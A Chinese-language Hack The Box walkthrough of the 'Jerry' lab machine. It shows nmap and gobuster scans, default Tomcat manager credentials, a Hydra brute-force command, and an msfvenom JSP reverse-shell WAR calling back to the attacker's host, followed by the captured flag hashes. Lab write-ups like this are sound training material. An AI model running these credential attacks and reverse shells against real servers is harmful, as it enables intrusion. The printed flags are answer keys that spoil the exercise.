這幾天打了幾台靶機,
明明都是打easy的,但是很多後半都沒辦法完成...(看著write-up也看不懂QQ
今天要打的Jerry算是超級友善了
https://app.hackthebox.com/machines/Jerry
先看一下靶機簡介:
雖然 Jerry 是 Hack The Box 上較容易的機器之一,但它是現實的,因為 Apache Tomcat 常常暴露在外且配置了常見或弱的憑證。
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV -T4 10.10.10.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 23:14 EDT
Nmap scan report for 10.10.10.95
Host is up (0.23s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.40 seconds
```
`Apache Tomcat`
(見Task 1的nmap結果)
- 方法1: `經驗`
根據經驗,`/manager/html` 是 Apache Tomcat Web Application Manager 的常見路徑,因此你可以直接嘗試訪問該路徑。
- 方法2: `gobuster`
- 你可以使用 `gobuster` 掃描常見的 URL 路徑,看看是否有任何有效的管理界面路徑。
```bash
gobuster dir -u http://10.10.10.95:8080 -w /usr/share/wordlists/dirb/common.txt
```
- 這個命令將使用常見的目錄列表(`common.txt`)來掃描 `http://10.10.10.95:8080` 下的所有可能的路徑。
嘗試`admin`:`admin`被Denied,但得到正確的帳號密碼`tomcat:s3cret` (不知道這是不是bug)
![image.png](https://i.imgur.com/AmqM9jk.png)
- 備選:字典爆破
要找到 Tomcat Web Application Manager 的有效用戶名和密碼組合,可以按照以下步驟進行操作:
### 1. **嘗試默認憑據**:
- Tomcat 的 Web Application Manager 通常配置有默認的用戶名和密碼組合。你可以嘗試一些常見的默認憑據,例如:
- `admin:admin`
- `admin:tomcat`
- `tomcat:tomcat`
### 2. **使用字典攻擊(Brute-Force Attack)**:
- 如果默認憑據無法登錄,可以使用字典攻擊來測試常見的用戶名和密碼組合。可以使用工具如 `Hydra` 或編寫 Python 腳本來進行攻擊。
### 使用 `Hydra` 進行字典攻擊:
1. **準備字典**:
- 你可以使用 `SecLists` 提供的默認憑據列表,例如:
```
/usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
```
2. **運行 Hydra**:
- 使用 Hydra 測試 Tomcat 的 Web Application Manager 憑據:
```bash
hydra -l tomcat -P /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt 10.10.10.95 http-get /manager/html
```
- `l tomcat` 指定用戶名為 `tomcat`,`P` 指定密碼列表文件,`10.10.10.95` 是目標 IP,`http-get` 是攻擊方法,`/manager/html` 是目標 URL。
3. **查看結果**:
- 如果成功,Hydra 會輸出一個有效的用戶名和密碼組合。
### 3. **編寫簡單的 Python 腳本進行字典攻擊(選擇性)**:
- 你也可以編寫一個簡單的 Python 腳本來測試憑據,write-up 中提供了一個簡單的腳本 `tomcat-brute.py`。
### 4. **驗證登錄**:
- 使用你找到的用戶名和密碼組合,在瀏覽器中登錄到 Tomcat Web Application Manager 確認其有效性。
### 5. **回答問題**:
- 一旦你找到了正確的用戶名和密碼組合,按照問題要求的格式提交答案:
```
username:password
```
### 示例操作:
假設你使用 `Hydra` 成功發現組合為 `tomcat:s3cret`,你可以回答問題:
```
tomcat:s3cret
```
![image.png](https://i.imgur.com/fc6NRG4.png)
- WAR知識補充
**WAR**(Web Application Archive)是一種文件格式,用於將 Java Web 應用程序的組件打包在一起,以便在 Java EE 應用服務器(如 Apache Tomcat)上部署和運行。
### WAR 文件的結構和用途:
1. **打包 Java Web 應用程序**:
- WAR 文件是一個壓縮包(類似於 ZIP 文件),其中包含了 Java Web 應用程序的所有組件,包括:
- **HTML、JSP 文件**:用於構建網頁界面。
- **Java 類文件**:包含應用程序的業務邏輯,這些類文件是由源代碼(.java)編譯而來的字節碼(.class)。
- **配置文件**:如 `web.xml`,這是部署描述符文件,用於配置應用程序的行為和資源。
- **靜態資源**:如圖片、JavaScript 文件、CSS 文件等。
2. **部署到應用服務器**:
- 當你將 WAR 文件部署到 Java EE 應用服務器時,服務器會自動解壓這個文件並將其中的內容部署到相應的目錄,然後應用程序即可運行。
- 這種方式使得應用程序的部署變得簡單和標準化,特別是在大型企業應用中,WAR 文件的使用非常普遍。
3. **應用服務器如何處理 WAR 文件**:
- 應用服務器(如 Apache Tomcat)會自動解壓 WAR 文件,將其內容提取到服務器的應用目錄中,然後按照 `web.xml` 文件中的配置來啟動應用程序。
- 用戶可以通過 Web 瀏覽器訪問這個應用程序。
### WAR 文件的結構:
一個典型的 WAR 文件可能包含以下目錄和文件:
```
MyApp.war
│
├── META-INF/
│ └── MANIFEST.MF # 包含一些關於應用的基本元數據
│
├── WEB-INF/
│ ├── web.xml # 部署描述符
│ ├── classes/ # 包含編譯後的 Java 類文件
│ ├── lib/ # 包含應用需要的外部庫(JAR 文件)
│ └── views/ # 包含 JSP 文件或其他模板文件
│
├── index.html # 應用的首頁
└── static/ # 包含靜態資源,如圖片、CSS 和 JavaScript 文件
```
### 在滲透測試中的應用:
在滲透測試中,WAR 文件可以用於部署惡意的 Web Shell 或後門,以獲取對目標系統的控制權。例如,攻擊者可以創建一個包含 Web Shell 的 WAR 文件,然後將其上傳到存在漏洞的應用服務器,從而遠程執行命令。
### 總結:
WAR 文件是 Java Web 應用程序的標準打包格式,用於將應用程序的所有組件打包在一起,以便部署到應用服務器。它包含了應用的所有必需文件,並且可以輕鬆地在不同的服務器之間傳輸和部署。
※如果ssh port22有開可以直接連(但本題沒有)
- 建立一個reverse shell
```bash
┌──(kali㉿kali)-[~]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.2 LPORT=4444 -f war -o shell.war
Payload size: 1086 bytes
Final size of war file: 1086 bytes
Saved as: shell.war
```
- 設定監聽端
```bash
msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.16.2
LHOST => 10.10.16.2
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
```
※LHOST要設為VPN的IP
- 上傳shell.war
![螢幕擷取畫面 2024-08-25 120829.png](https://i.imgur.com/wh8bIEK.png)
- 進入`http://10.10.10.95:8080/shell/`使監聽端獲得控制權
```bash
[*] Started reverse TCP handler on 10.10.16.2:4444
[*] Command shell session 1 opened (10.10.16.2:4444 -> 10.10.10.95:49192) at 2024-08-25 00:10:31 -0400
Shell Banner:
Microsoft Windows [Version 6.3.9600]
-----
C:\apache-tomcat-7.0.88>
```
- 找到flag的位置並開啟
※提示:ls在windows上叫dir ; cat → type
```bash
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is 0834-6C04
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 07:09 AM <DIR> .
06/19/2018 07:09 AM <DIR> ..
06/19/2018 07:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 2,419,257,344 bytes free
```
```bash
C:\Users\Administrator\Desktop\flags>type type "2 for the price of 1.txt"
type type "2 for the price of 1.txt"
user.txt
7004dbcef0f854e0fb401875f26ebd00
root.txt
04a8b36e1545a455393d067e772fe90e
```
兩個答案放在一起,參閱上面root.txt